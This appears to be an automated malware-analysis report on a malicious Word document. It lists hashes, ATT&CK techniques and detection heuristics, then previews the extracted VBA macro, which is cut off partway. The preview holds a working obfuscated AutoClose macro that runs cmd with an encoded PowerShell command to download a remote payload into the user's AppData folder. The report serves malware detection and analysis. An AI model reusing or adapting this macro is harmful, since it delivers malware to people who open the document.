Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a50a0421ec8e532…

MALICIOUS

Office (OLE)

74.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 20c2eef814f5181efe8ca31a5964cb99 SHA-1: ab879e7dd0a29b6392013cc9fa805037db2f1940 SHA-256: 1a50a0421ec8e532578f4dc62565ac858071e4df030ff8bc8f18772ad35de212
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose function that utilizes the Shell() function to execute a command. This command is a heavily obfuscated PowerShell execution, likely intended to download and run a secondary payload. The presence of the Shell() call and the obfuscated PowerShell command strongly indicate a malicious document designed for payload delivery.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6732586-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6732586-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9455 bytes
SHA-256: 96bf83f47d1ffd86ed6dcd58f29b97b6a26636a604bd093e41dd2f1bea195e29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const SuaAfIHinirOFYvoiIhUSUxAsI = 0
Sub AutoClose()
On Error Resume Next
Dim CODoHaiOjuLekYGoKunPeWiSEcenokYG

CODoHaiOjuLekYGoKunPeWiSEcenokYG = IsNull(Choose(4, "SOhIMIiyXEiA", "CODoHaiOjuLekYGoKunPeWiSEcenokYG", "SOhIMIiyXEiACODoHaiOjuLekYGoKunPeWiSEcenokYG"))
IsError CVErr(936)
Call IsNull(936 - 4 * 10)

If Len(SOhIMIiyXEiA) > Len(CStr(Hex(936))) Then
   Call IsError(CVErr(CInt(CStr(SOhIMIiyXEiA))))
End If
Dim xyqizepEsYHIbeCariBiCuTeBYMY

xyqizepEsYHIbeCariBiCuTeBYMY = IsNull(Choose(4, "mYiAxOXYceM", "xyqizepEsYHIbeCariBiCuTeBYMY", "mYiAxOXYceMxyqizepEsYHIbeCariBiCuTeBYMY"))
IsError CVErr(2740)
Call IsNull(2740 - 4 * 11)

If Len(mYiAxOXYceM) > Len(CStr(Hex(2740))) Then
   Call IsError(CVErr(CInt(CStr(mYiAxOXYceM))))
End If
kUxUiiFYJUncumalYseioGAmeMlat = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"
Dim qigUPAUhkaqovYGpAVaGoxAeioGOaRydalItA

qigUPAUhkaqovYGpAVaGoxAeioGOaRydalItA = IsNull(Choose(4, "vuKaKAWiLOgeioDeEynUje", "qigUPAUhkaqovYGpAVaGoxAeioGOaRydalItA", "vuKaKAWiLOgeioDeEynUjeqigUPAUhkaqovYGpAVaGoxAeioGOaRydalItA"))
IsError CVErr(89)
Call IsNull(89 - 4 * 10)

If Len(vuKaKAWiLOgeioDeEynUje) > Len(CStr(Hex(89))) Then
   Call IsError(CVErr(CInt(CStr(vuKaKAWiLOgeioDeEynUje))))
End If

Dim rYWURARUtuzasIFyCUgYQEvuuiKy

rYWURARUtuzasIFyCUgYQEvuuiKy = IsNull(Choose(6, "koaireZOmEguS", "rYWURARUtuzasIFyCUgYQEvuuiKy", "koaireZOmEguSrYWURARUtuzasIFyCUgYQEvuuiKy"))
IsError CVErr(1496)
Call IsNull(1496 - 6 * 10)

If Len(koaireZOmEguS) > Len(CStr(Hex(1496))) Then
   Call IsError(CVErr(CInt(CStr(koaireZOmEguS))))
End If
ZyZUpAVAKyJIlIXrokIvSLYiaTlYLIl = "^A^L^w^B^x^A^G^E^A^d^A^B^p^A^H^Y^A^Z^Q^B^y^A^H^I^A^a^A^A^u^A^G^M^A^b^w^B^t^A^C^8^A^U^g^B^V^A^E^k^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^w^A^Z^Q^B^h^A^H^U^A^a^w^A^4^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G"
Dim RARAfiiaSOHIdEkoRehwykotAZIz

RARAfiiaSOHIdEkoRehwykotAZIz = IsNull(Choose(4, "PEwoMAWIDUlEROwoca", "RARAfiiaSOHIdEkoRehwykotAZIz", "PEwoMAWIDUlEROwocaRARAfiiaSOHIdEkoRehwykotAZIz"))
IsError CVErr(7598)
Call IsNull(7598 - 4 * 13)

If Len(PEwoMAWIDUlEROwoca) > Len(CStr(Hex(7598))) Then
   Call IsError(CVErr(CInt(CStr(PEwoMAWIDUlEROwoca))))
End If
Dim BUBiSeiukyjDbUHicZypIcneo

BUBiSeiukyjDbUHicZypIcneo = IsNull(Choose(1, "GiauaEBabAwA", "BUBiSeiukyjDbUHicZypIcneo", "GiauaEBabAwABUBiSeiukyjDbUHicZypIcneo"))
IsError CVErr(5967)
Call IsNull(5967 - 1 * 11)

If Len(GiauaEBabAwA) > Len(CStr(Hex(5967))) Then
   Call IsError(CVErr(CInt(CStr(GiauaEBabAwA))))
End If


Dim CIcyXecajEgITAkvOsemaNAaocoocei

CIcyXecajEgITAkvOsemaNAaocoocei = IsNull(Choose(8, "REvuJeButanefAvAnebUSe", "CIcyXecajEgITAkvOsemaNAaocoocei", "REvuJeButanefAvAnebUSeCIcyXecajEgITAkvOsemaNAaocoocei"))
IsError CVErr(3168)
Call IsNull(3168 - 8 * 10)

If Len(REvuJeButanefAvAnebUSe) > Len(CStr(Hex(3168))) Then
   Call IsError(CVErr(CInt(CStr(REvuJeButanefAvAnebUSe))))
End If
Dim FDaZyLufUHIliWyVUbOxWUTyhUDUxybAaU

FDaZyLufUHIliWyVUbOxWUTyhUDUxybAaU = IsNull(Choose(9, "DazoVOcYjuseTUPyjAC", "FDaZyLufUHIliWyVUbOxWUTyhUDUxybAaU", "Daz
... (truncated)